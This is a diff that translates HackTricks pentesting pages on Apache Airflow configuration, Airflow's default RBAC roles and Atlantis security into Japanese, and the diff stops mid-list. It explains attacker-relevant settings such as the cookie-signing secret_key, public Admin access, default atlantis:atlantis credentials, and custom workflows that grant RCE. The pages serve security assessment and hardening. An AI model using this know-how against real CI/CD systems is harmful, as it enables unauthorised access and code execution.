**headers** for **CORS** -- **`access_control_allow_methods`**: This indicates the **allowed methods** for **CORS** -- **`access_control_allow_origins`**: This indicates the **allowed origins** for **CORS** -- **`auth_backend`**: [**According to the docs**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) a few options can be in place to configure who can access to the API: - - `airflow.api.auth.backend.deny_all`: **By default nobody** can access the API - - `airflow.api.auth.backend.default`: **Everyone can** access it without authentication - - `airflow.api.auth.backend.kerberos_auth`: To configure **kerberos authentication** - - `airflow.api.auth.backend.basic_auth`: For **basic authentication** - - `airflow.composer.api.backend.composer_auth`: Uses composers authentication (GCP) (from [**here**](https://cloud.google.com/composer/docs/access-airflow-api)). - - `composer_auth_user_registration_role`: This indicates the **role** the **composer user** will get inside **airflow** (**Op** by default). - - You can also **create you own authentication** method with python. -- **`google_key_path`:** Path to the **GCP service account key** +- **`access_control_allow_headers`**: これは **CORS** のための **許可された** **ヘッダー** を示します +- **`access_control_allow_methods`**: これは **CORS** のための **許可されたメソッド** を示します +- **`access_control_allow_origins`**: これは **CORS** のための **許可されたオリジン** を示します +- **`auth_backend`**: [**ドキュメントによると**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) API へのアクセスを設定するためのいくつかのオプションがあります： +- `airflow.api.auth.backend.deny_all`: **デフォルトでは誰も** API にアクセスできません +- `airflow.api.auth.backend.default`: **誰でも** 認証なしでアクセスできます +- `airflow.api.auth.backend.kerberos_auth`: **Kerberos 認証** を設定するため +- `airflow.api.auth.backend.basic_auth`: **基本認証** のため +- `airflow.composer.api.backend.composer_auth`: 作成者の認証を使用します (GCP) ([**こちら**](https://cloud.google.com/composer/docs/access-airflow-api)から)。 +- `composer_auth_user_registration_role`: これは **Airflow** 内で **作成者ユーザー** が取得する **役割** を示します (**Op** がデフォルト)。 +- Python で **独自の認証** メソッドを作成することもできます。 +- **`google_key_path`:** **GCP サービスアカウントキー** へのパス ### **\[atlas]** -- **`password`**: Atlas password -- **`username`**: Atlas username +- **`password`**: Atlas パスワード +- **`username`**: Atlas ユーザー名 ### \[celery] -- **`flower_basic_auth`** : Credentials (_user1:password1,user2:password2_) -- **`result_backend`**: Postgres url which may contain **credentials**. -- **`ssl_cacert`**: Path to the cacert -- **`ssl_cert`**: Path to the cert -- **`ssl_key`**: Path to the key +- **`flower_basic_auth`** : 認証情報 (_user1:password1,user2:password2_) +- **`result_backend`**: **認証情報**を含む可能性のある Postgres URL。 +- **`ssl_cacert`**: cacert へのパス +- **`ssl_cert`**: cert へのパス +- **`ssl_key`**: key へのパス ### \[core] -- **`dag_discovery_safe_mode`**: Enabled by default. When discovering DAGs, ignore any files that don’t contain the strings `DAG` and `airflow`. -- **`fernet_key`**: Key to store encrypted variables (symmetric) -- **`hide_sensitive_var_conn_fields`**: Enabled by default, hide sensitive info of connections. -- **`security`**: What security module to use (for example kerberos) +- **`dag_discovery_safe_mode`**: デフォルトで有効。DAG を発見する際、`DAG` と `airflow` の文字列を含まないファイルは無視されます。 +- **`fernet_key`**: 暗号化された変数を保存するためのキー (対称) +- **`hide_sensitive_var_conn_fields`**: デフォルトで有効、接続の機密情報を隠します。 +- **`security`**: 使用するセキュリティモジュール (例えば Kerberos) ### \[dask] -- **`tls_ca`**: Path to ca -- **`tls_cert`**: Part to the cert -- **`tls_key`**: Part to the tls key +- **`tls_ca`**: ca へのパス +- **`tls_cert`**: cert へのパス +- **`tls_key`**: tls key へのパス ### \[kerberos] -- **`ccache`**: Path to ccache file -- **`forwardable`**: Enabled by default +- **`ccache`**: ccache ファイルへのパス +- **`forwardable`**: デフォルトで有効 ### \[logging] -- **`google_key_path`**: Path to GCP JSON creds. +- **`google_key_path`**: GCP JSON 認証情報へのパス。 ### \[secrets] -- **`backend`**: Full class name of secrets backend to enable -- **`backend_kwargs`**: The backend_kwargs param is loaded into a dictionary and passed to **init** of secrets backend class. +- **`backend`**: 有効にする秘密のバックエンドの完全なクラス名 +- **`backend_kwargs`**: backend_kwargs パラメータは辞書に読み込まれ、秘密のバックエンドクラスの **init** に渡されます。 ### \[smtp] -- **`smtp_password`**: SMTP password -- **`smtp_user`**: SMTP user +- **`smtp_password`**: SMTP パスワード +- **`smtp_user`**: SMTP ユーザー ### \[webserver] -- **`cookie_samesite`**: By default it's **Lax**, so it's already the weakest possible value -- **`cookie_secure`**: Set **secure flag** on the the session cookie -- **`expose_config`**: By default is False, if true, the **config** can be **read** from the web **console** -- **`expose_stacktrace`**: By default it's True, it will show **python tracebacks** (potentially useful for an attacker) -- **`secret_key`**: This is the **key used by flask to sign the cookies** (if you have this you can **impersonate any user in Airflow**) -- **`web_server_ssl_cert`**: **Path** to the **SSL** **cert** -- **`web_server_ssl_key`**: **Path** to the **SSL** **Key** -- **`x_frame_enabled`**: Default is **True**, so by default clickjacking isn't possible +- **`cookie_samesite`**: デフォルトでは **Lax** で、すでに最も弱い値です +- **`cookie_secure`**: セッション cookie に **secure flag** を設定します +- **`expose_config`**: デフォルトは False で、true の場合、**config** はウェブ **console** から **読み取る** ことができます +- **`expose_stacktrace`**: デフォルトでは True で、**python tracebacks** を表示します (攻撃者にとって潜在的に有用) +- **`secret_key`**: これは **Flask が cookie に署名するために使用するキー** です (これを持っていると **Airflow の任意のユーザーになりすます** ことができます) +- **`web_server_ssl_cert`**: **SSL** **cert** への **パス** +- **`web_server_ssl_key`**: **SSL** **Key** への **パス** +- **`x_frame_enabled`**: デフォルトは **True** で、デフォルトではクリックジャッキングは不可能です ### Web Authentication -By default **web authentication** is specified in the file **`webserver_config.py`** and is configured as - +デフォルトでは **web authentication** は **`webserver_config.py`** ファイルに指定され、設定されています。 ```bash AUTH_TYPE = AUTH_DB ``` - -Which means that the **authentication is checked against the database**. However, other configurations are possible like - +つまり、**認証はデータベースに対してチェックされます**。ただし、他の設定も可能です。 ```bash AUTH_TYPE = AUTH_OAUTH ``` +**認証を第三者サービスに委ねる**ために。 -To leave the **authentication to third party services**. - -However, there is also an option to a**llow anonymous users access**, setting the following parameter to the **desired role**: - +ただし、**匿名ユーザーのアクセスを許可する**オプションもあり、次のパラメータを**希望するロール**に設定します： ```bash AUTH_ROLE_PUBLIC = 'Admin' ``` - {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md index 7ff782327..5ce3059c6 100644 --- a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md +++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md @@ -4,44 +4,40 @@ ## RBAC -(From the docs)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow ships with a **set of roles by default**: **Admin**, **User**, **Op**, **Viewer**, and **Public**. **Only `Admin`** users could **configure/alter the permissions for other roles**. But it is not recommended that `Admin` users alter these default roles in any way by removing or adding permissions to these roles. +(From the docs)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflowはデフォルトで**一連の役割**を提供します：**Admin**、**User**、**Op**、**Viewer**、および**Public**。**`Admin`**ユーザーのみが**他の役割の権限を設定/変更**できます。しかし、`Admin`ユーザーがこれらのデフォルトの役割を変更することは推奨されません。 -- **`Admin`** users have all possible permissions. -- **`Public`** users (anonymous) don’t have any permissions. -- **`Viewer`** users have limited viewer permissions (only read). It **cannot see the config.** -- **`User`** users have `Viewer` permissions plus additional user permissions that allows him to manage DAGs a bit. He **can see the config file** -- **`Op`** users have `User` permissions plus additional op permissions. +- **`Admin`**ユーザーはすべての権限を持っています。 +- **`Public`**ユーザー（匿名）は権限を持っていません。 +- **`Viewer`**ユーザーは制限された閲覧権限（読み取りのみ）を持っています。**設定を表示できません。** +- **`User`**ユーザーは`Viewer`権限に加えて、DAGを少し管理するための追加のユーザー権限を持っています。彼は**設定ファイルを表示できます。** +- **`Op`**ユーザーは`User`権限に加えて、追加のオペレーター権限を持っています。 -Note that **admin** users can **create more roles** with more **granular permissions**. +**admin**ユーザーは**より細かい権限を持つ役割を作成**できることに注意してください。 -Also note that the only default role with **permission to list users and roles is Admin, not even Op** is going to be able to do that. +また、**ユーザーと役割をリストする権限を持つ唯一のデフォルトの役割はAdminであり、Opでさえそれを行うことはできません**。 ### Default Permissions -These are the default permissions per default role: +これらはデフォルトの役割ごとのデフォルトの権限です： - **Admin** -\[can delete on Connections, can read on Connections, can edit on Connections, can create on Connections, can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can delete on Pools, can read on Pools, can edit on Pools, can create on Pools, can read on Providers, can delete on Variables, can read on Variables, can edit on Variables, can create on Variables, can read on XComs, can read on DAG Code, can read on Configurations, can read on Plugins, can read on Roles, can read on Permissions, can delete on Roles, can edit on Roles, can create on Roles, can read on Users, can create on Users, can edit on Users, can delete on Users, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances, menu access on Admin, menu access on Configurations, menu access on Connections, menu access on Pools, menu access on Variables, menu access on XComs, can delete on XComs, can read on Task Reschedules, menu access on Task Reschedules, can read on Triggers, menu access on Triggers, can read on Passwords, can edit on Passwords, menu access on List Users, menu access on Security, menu access on List Roles, can read on User Stats Chart, menu access on User's Statistics, menu access on Base Permissions, can read on View Menus, menu access on Views/Menus, can read on Permission Views, menu access on Permission on Views/Menus, can get on MenuApi, menu access on Providers, can create on XComs] +\[Connectionsで削除、Connectionsで読み取り、Connectionsで編集、Connectionsで作成、DAGsで読み取り、DAGsで編集、DAGsで削除、DAG Runsで読み取り、Task Instancesで読み取り、Task Instancesで編集、DAG Runsで削除、DAG Runsで作成、DAG Runsで編集、Audit Logsで読み取り、ImportErrorで読み取り、Poolsで削除、Poolsで読み取り、Poolsで編集、Poolsで作成、Providersで読み取り、Variablesで削除、Variablesで読み取り、Variablesで編集、Variablesで作成、XComsで読み取り、DAG Codeで読み取り、Configurationsで読み取り、Pluginsで読み取り、Rolesで読み取り、Permissionsで読み取り、Rolesで削除、Rolesで編集、Rolesで作成、Usersで読み取り、Usersで作成、Usersで編集、Usersで削除、DAG Dependenciesで読み取り、Jobsで読み取り、My Passwordで読み取り、My Passwordで編集、My Profileで読み取り、My Profileで編集、SLA Missesで読み取り、Task Logsで読み取り、Websiteで読み取り、Browseへのメニューアクセス、DAG Dependenciesへのメニューアクセス、DAG Runsへのメニューアクセス、Documentationへのメニューアクセス、Docsへのメニューアクセス、Jobsへのメニューアクセス、Audit Logsへのメニューアクセス、Pluginsへのメニューアクセス、SLA Missesへのメニューアクセス、Task Instancesへのメニューアクセス、Task Instancesで作成、Task Instancesで削除、Adminへのメニューアクセス、Configurationsへのメニューアクセス、Connectionsへのメニューアクセス、Poolsへのメニューアクセス、Variablesへのメニューアクセス、XComsへのメニューアクセス、XComsで削除、Task Reschedulesで読み取り、Task Reschedulesへのメニューアクセス、Triggersで読み取り、Triggersへのメニューアクセス、Passwordsで読み取り、Passwordsで編集、List Usersへのメニューアクセス、Securityへのメニューアクセス、List Rolesへのメニューアクセス、User Stats Chartで読み取り、User's Statisticsへのメニューアクセス、Base Permissionsへのメニューアクセス、View Menusで読み取り、Views/Menusへのメニューアクセス、Permission Viewsで読み取り、Views/MenusのPermissionへのメニューアクセス、MenuApiで取得、Providersへのメニューアクセス、XComsで作成] - **Op** -\[can delete on Connections, can read on Connections, can edit on Connections, can create on Connections, can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can delete on Pools, can read on Pools, can edit on Pools, can create on Pools, can read on Providers, can delete on Variables, can read on Variables, can edit on Variables, can create on Variables, can read on XComs, can read on DAG Code, can read on Configurations, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances, menu access on Admin, menu access on Configurations, menu access on Connections, menu access on Pools, menu access on Variables, menu access on XComs, can delete on XComs] +\[Connectionsで削除、Connectionsで読み取り、Connectionsで編集、Connectionsで作成、DAGsで読み取り、DAGsで編集、DAGsで削除、DAG Runsで読み取り、Task Instancesで読み取り、Task Instancesで編集、DAG Runsで削除、DAG Runsで作成、DAG Runsで編集、Audit Logsで読み取り、ImportErrorで読み取り、Poolsで削除、Poolsで読み取り、Poolsで編集、Poolsで作成、Providersで読み取り、Variablesで削除、Variablesで読み取り、Variablesで編集、Variablesで作成、XComsで読み取り、DAG Codeで読み取り、Configurationsで読み取り、Pluginsで読み取り、DAG Dependenciesで読み取り、Jobsで読み取り、My Passwordで読み取り、My Passwordで編集、My Profileで読み取り、My Profileで編集、SLA Missesで読み取り、Task Logsで読み取り、Websiteで読み取り、Browseへのメニューアクセス、DAG Dependenciesへのメニューアクセス、DAG Runsへのメニューアクセス、Documentationへのメニューアクセス、Docsへのメニューアクセス、Jobsへのメニューアクセス、Audit Logsへのメニューアクセス、Pluginsへのメニューアクセス、SLA Missesへのメニューアクセス、Task Instancesへのメニューアクセス、Task Instancesで作成、Task Instancesで削除、Adminへのメニューアクセス、Configurationsへのメニューアクセス、Connectionsへのメニューアクセス、Poolsへのメニューアクセス、Variablesへのメニューアクセス、XComsへのメニューアクセス、XComsで削除] - **User** -\[can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can read on XComs, can read on DAG Code, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances] +\[DAGsで読み取り、DAGsで編集、DAGsで削除、DAG Runsで読み取り、Task Instancesで読み取り、Task Instancesで編集、DAG Runsで削除、DAG Runsで作成、DAG Runsで編集、Audit Logsで読み取り、ImportErrorで読み取り、XComsで読み取り、DAG Codeで読み取り、Pluginsで読み取り、DAG Dependenciesで読み取り、Jobsで読み取り、My Passwordで読み取り、My Passwordで編集、My Profileで読み取り、My Profileで編集、SLA Missesで読み取り、Task Logsで読み取り、Websiteで読み取り、Browseへのメニューアクセス、DAG Dependenciesへのメニューアクセス、DAG Runsへのメニューアクセス、Documentationへのメニューアクセス、Docsへのメニューアクセス、Jobsへのメニューアクセス、Audit Logsへのメニューアクセス、Pluginsへのメニューアクセス、SLA Missesへのメニューアクセス、Task Instancesへのメニューアクセス、Task Instancesで作成、Task Instancesで削除] - **Viewer** -\[can read on DAGs, can read on DAG Runs, can read on Task Instances, can read on Audit Logs, can read on ImportError, can read on XComs, can read on DAG Code, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances] +\[DAGsで読み取り、DAG Runsで読み取り、Task Instancesで読み取り、Audit Logsで読み取り、ImportErrorで読み取り、XComsで読み取り、DAG Codeで読み取り、Pluginsで読み取り、DAG Dependenciesで読み取り、Jobsで読み取り、My Passwordで読み取り、My Passwordで編集、My Profileで読み取り、My Profileで編集、SLA Missesで読み取り、Task Logsで読み取り、Websiteで読み取り、Browseへのメニューアクセス、DAG Dependenciesへのメニューアクセス、DAG Runsへのメニューアクセス、Documentationへのメニューアクセス、Docsへのメニューアクセス、Jobsへのメニューアクセス、Audit Logsへのメニューアクセス、Pluginsへのメニューアクセス、SLA Missesへのメニューアクセス、Task Instancesへのメニューアクセス] - **Public** \[] {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/atlantis-security.md b/src/pentesting-ci-cd/atlantis-security.md index a4b35140f..3a0aeb4e9 100644 --- a/src/pentesting-ci-cd/atlantis-security.md +++ b/src/pentesting-ci-cd/atlantis-security.md @@ -2,111 +2,111 @@ {{#include ../banners/hacktricks-training.md}} -### Basic Information +### 基本情報 -Atlantis basically helps you to to run terraform from Pull Requests from your git server. +Atlantisは基本的に、あなたのgitサーバーからのプルリクエストからterraformを実行するのを助けます。 ![](<../images/image (161).png>) -### Local Lab +### ローカルラボ -1. Go to the **atlantis releases page** in [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) and **download** the one that suits you. -2. Create a **personal token** (with repo access) of your **github** user -3. Execute `./atlantis testdrive` and it will create a **demo repo** you can use to **talk to atlantis** - 1. You can access the web page in 127.0.0.1:4141 +1. [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases)の**atlantisリリースページ**に行き、あなたに合ったものを**ダウンロード**します。 +2. **github**ユーザーの**個人トークン**（リポジトリアクセス付き）を作成します。 +3. `./atlantis testdrive`を実行すると、**atlantisと対話するために使用できるデモリポジトリ**が作成されます。 +1. 127.0.0.1:4141でウェブページにアクセスできます。 -### Atlantis Access +### Atlantisアクセス -#### Git Server Credentials +#### Gitサーバーの資格情報 -**Atlantis** support several git hosts such as **Github**, **Gitlab**, **Bitbucket** and **Azure DevOps**.\ -However, in order to access the repos in those platforms and perform actions, it needs to have some **privileged access granted to them** (at least write permissions).\ -[**The docs**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) encourage to create a user in these platform specifically for Atlantis, but some people might use personal accounts. +**Atlantis**は**Github**、**Gitlab**、**Bitbucket**、**Azure DevOps**などの複数のgitホストをサポートしています。\ +ただし、これらのプラットフォームのリポジトリにアクセスし、アクションを実行するには、いくつかの**特権アクセスが付与される必要があります**（少なくとも書き込み権限）。\ +[**ドキュメント**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional)では、Atlantis専用にこれらのプラットフォームにユーザーを作成することを推奨していますが、個人アカウントを使用する人もいるかもしれません。 > [!WARNING] -> In any case, from an attackers perspective, the **Atlantis account** is going to be one very **interesting** **to compromise**. +> いずれにせよ、攻撃者の視点から見ると、**Atlantisアカウント**は非常に**興味深い****攻撃対象**となるでしょう。 -#### Webhooks +#### Webhook -Atlantis uses optionally [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) to validate that the **webhooks** it receives from your Git host are **legitimate**. +Atlantisはオプションで[**Webhookシークレット**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret)を使用して、あなたのGitホストから受信する**webhook**が**正当であることを検証**します。 -One way to confirm this would be to **allowlist requests to only come from the IPs** of your Git host but an easier way is to use a Webhook Secret. +これを確認する方法の一つは、**GitホストのIPからのみリクエストを許可する**ことですが、より簡単な方法はWebhookシークレットを使用することです。 -Note that unless you use a private github or bitbucket server, you will need to expose webhook endpoints to the Internet. +プライベートなgithubやbitbucketサーバーを使用しない限り、webhookエンドポイントをインターネットに公開する必要があることに注意してください。 > [!WARNING] -> Atlantis is going to be **exposing webhooks** so the git server can send it information. From an attackers perspective it would be interesting to know **if you can send it messages**. +> Atlantisは**webhookを公開**するため、gitサーバーが情報を送信できるようにします。攻撃者の視点からは、**メッセージを送信できるかどうかを知ることが興味深い**でしょう。 -#### Provider Credentials +#### プロバイダー資格情報 -[From the docs:](https://www.runatlantis.io/docs/provider-credentials.html) +[ドキュメントから:](https://www.runatlantis.io/docs/provider-credentials.html) -Atlantis runs Terraform by simply **executing `terraform plan` and `apply`** commands on the server **Atlantis is hosted on**. Just like when you run Terraform locally, Atlantis needs credentials for your specific provider. +Atlantisは、サーバー**Atlantisがホストされている**上で単に`terraform plan`と`apply`コマンドを**実行することによってTerraformを実行します**。ローカルでTerraformを実行するのと同様に、Atlantisは特定のプロバイダーの資格情報が必要です。 -It's up to you how you [provide credentials](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) for your specific provider to Atlantis: +あなたがどのように[資格情報を提供するか](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info)はあなた次第です： -- The Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) and [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) have their own mechanisms for provider credentials. Read their docs. -- If you're running Atlantis in a cloud then many clouds have ways to give cloud API access to applications running on them, ex: - - [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Search for "EC2 Role") - - [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference) -- Many users set environment variables, ex. `AWS_ACCESS_KEY`, where Atlantis is running. -- Others create the necessary config files, ex. `~/.aws/credentials`, where Atlantis is running. -- Use the [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) to obtain provider credentials. +- Atlantisの[Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart)と[AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate)には、プロバイダー資格情報のための独自のメカニズムがあります。彼らのドキュメントを読んでください。 +- クラウドでAtlantisを実行している場合、多くのクラウドには、そこに実行されているアプリケーションにクラウドAPIアクセスを提供する方法があります。例： +- [AWS EC2ロール](https://registry.terraform.io/providers/hashicorp/aws/latest/docs)（"EC2 Role"を検索） +- [GCEインスタンスサービスアカウント](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference) +- 多くのユーザーは、Atlantisが実行されている場所で環境変数を設定します。例：`AWS_ACCESS_KEY` +- 他のユーザーは、Atlantisが実行されている場所で必要な設定ファイルを作成します。例：`~/.aws/credentials` +- [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs)を使用してプロバイダー資格情報を取得します。 > [!WARNING] -> The **container** where **Atlantis** is **running** will highly probably **contain privileged credentials** to the providers (AWS, GCP, Github...) that Atlantis is managing via Terraform. +> **Atlantisが**実行されている**コンテナ**には、AtlantisがTerraformを介して管理しているプロバイダー（AWS、GCP、Github...）の**特権資格情報**が含まれている可能性が非常に高いです。 -#### Web Page +#### ウェブページ -By default Atlantis will run a **web page in the port 4141 in localhost**. This page just allows you to enable/disable atlantis apply and check the plan status of the repos and unlock them (it doesn't allow to modify things, so it isn't that useful). +デフォルトでは、Atlantisは**localhostのポート4141でウェブページを実行します**。このページは、atlantis applyを有効/無効にし、リポジトリのプランステータスを確認し、ロックを解除することを許可します（変更を加えることはできないため、それほど便利ではありません）。 -You probably won't find it exposed to the internet, but it looks like by default **no credentials are needed** to access it (and if they are `atlantis`:`atlantis` are the **default** ones). +インターネットに公開されていることはないと思いますが、デフォルトでは**アクセスするために資格情報は必要ないようです**（必要な場合は`atlantis`:`atlantis`が**デフォルト**のものです）。 -### Server Configuration +### サーバー設定 -Configuration to `atlantis server` can be specified via command line flags, environment variables, a config file or a mix of the three. +`atlantis server`の設定は、コマンドラインフラグ、環境変数、設定ファイル、またはその3つの混合を介して指定できます。 -- You can find [**here the list of flags**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) supported by Atlantis server -- You can find [**here how to transform a config option into an env var**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables) +- Atlantisサーバーがサポートする[**フラグのリスト**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration)は[こちら](https://www.runatlantis.io/docs/server-configuration.html#server-configuration)で確認できます。 +- 設定オプションを環境変数に変換する方法は[こちら](https://www.runatlantis.io/docs/server-configuration.html#environment-variables)で確認できます。 -Values are **chosen in this order**: +値は**この順序で選択されます**： -1. Flags -2. Environment Variables -3. Config File +1. フラグ +2. 環境変数 +3. 設定ファイル > [!WARNING] -> Note that in the configuration you might find interesting values such as **tokens and passwords**. +> 設定の中には、**トークンやパスワード**などの興味深い値が含まれている可能性があることに注意してください。 -#### Repos Configuration +#### リポジトリ設定 -Some configurations affects **how the repos are managed**. However, it's possible that **each repo require different settings**, so there are ways to specify each repo. This is the priority order: +いくつかの設定は**リポジトリの管理方法に影響します**。ただし、**各リポジトリが異なる設定を必要とする可能性があるため**、各リポジトリを指定する方法があります。これが優先順位です： -1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) file. This file can be used to specify how atlantis should treat the repo. However, by default some keys cannot be specified here without some flags allowing it. - 1. Probably required to be allowed by flags like `allowed_overrides` or `allow_custom_workflows` -2. [**Server Side Config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): You can pass it with the flag `--repo-config` and it's a yaml configuring new settings for each repo (regexes supported) -3. **Default** values +1. リポジトリ[**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config)ファイル。このファイルは、atlantisがリポジトリをどのように扱うべきかを指定するために使用できます。ただし、デフォルトでは、いくつかのキーはここで指定できず、フラグを使用して許可する必要があります。 +1. おそらく`allowed_overrides`や`allow_custom_workflows`のようなフラグによって許可される必要があります。 +2. [**サーバーサイド設定**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config)：`--repo-config`フラグで渡すことができ、各リポジトリの新しい設定を構成するyamlです（正規表現がサポートされています）。 +3. **デフォルト**の値 -**PR Protections** +**PR保護** -Atlantis allows to indicate if you want the **PR** to be **`approved`** by somebody else (even if that isn't set in the branch protection) and/or be **`mergeable`** (branch protections passed) **before running apply**. From a security point of view, to set both options a recommended. +Atlantisは、**PR**が他の誰かによって**`承認`**されることを望むかどうか（ブランチ保護に設定されていなくても）や、**`マージ可能`**（ブランチ保護が通過した）であることを**applyを実行する前に**示すことを許可します。セキュリティの観点から、両方のオプションを設定することが推奨されます。 -In case `allowed_overrides` is True, these setting can be **overwritten on each project by the `/atlantis.yml` file**. +`allowed_overrides`がTrueの場合、これらの設定は**各プロジェクトの`/atlantis.yml`ファイルで上書き可能**です。 -**Scripts** +**スクリプト** -The repo config can **specify scripts** to run [**before**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) and [**after**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) a **workflow is executed.** +リポジトリ設定は、**ワークフローが実行される前に**[**実行するスクリプト**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage)（_プレワークフローフック_）と、**ワークフローが実行された後に**[**実行するスクリプト**](https://www.runatlantis.io/docs/post-workflow-hooks.html)（_ポストワークフローフック_）を**指定できます**。 -There isn't any option to allow **specifying** these scripts in the **repo `/atlantis.yml`** file. +リポジトリの`/atlantis.yml`ファイルでこれらのスクリプトを**指定する**オプションはありません。 -**Workflow** +**ワークフロー** -In the repo config (server side config) you can [**specify a new default workflow**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), or [**create new custom workflows**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** You can also **specify** which **repos** can **access** the **new** ones generated.\ -Then, you can allow the **atlantis.yaml** file of each repo to **specify the workflow to use.** +リポジトリ設定（サーバーサイド設定）では、[**新しいデフォルトワークフローを指定**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow)したり、[**新しいカスタムワークフローを作成**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**したりできます**。また、**新しく生成された**ワークフローに**アクセスできるリポジトリ**を**指定**することもできます。\ +その後、各リポジトリの**atlantis.yaml**ファイルで**使用するワークフローを指定**できます。 > [!CAUTION] -> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **specified** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used.\ -> This will basically give **RCE in the Atlantis server to any user that can access that repo**. +> [**サーバーサイド設定**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config)フラグ`allow_custom_workflows`が**True**に設定されている場合、各リポジトリの**`atlantis.yaml`**ファイルでワークフローを**指定**できます。また、**`allowed_overrides`**が**`workflow`**を指定して、使用されるワークフローを**上書きする**必要がある可能性もあります。\ +> これは基本的に、**そのリポジトリにアクセスできるユーザーにAtlantisサーバーでのRCEを与える**ことになります。 > > ```yaml > # atlantis.yaml @@ -124,21 +124,20 @@ Then, you can allow the **atlantis.yaml** file of each repo to **specify the wor > steps: - run: my custom apply command > ``` -**Conftest Policy Checking** +**Conftestポリシーチェック** -Atlantis supports running **server-side** [**conftest**](https://www.conftest.dev/) **policies** against the plan output. Common usecases for using this step include: +Atlantisは、**サーバーサイド**で[**conftest**](https://www.conftest.dev/)**ポリシー**をプラン出力に対して実行することをサポートしています。このステップを使用する一般的なユースケースには以下が含まれます： -- Denying usage of a list of modules -- Asserting attributes of a resource at creation time -- Catching unintentional resource deletions -- Preventing security risks (ie. exposing secure ports to the public) +- モジュールのリストの使用を拒否する +- 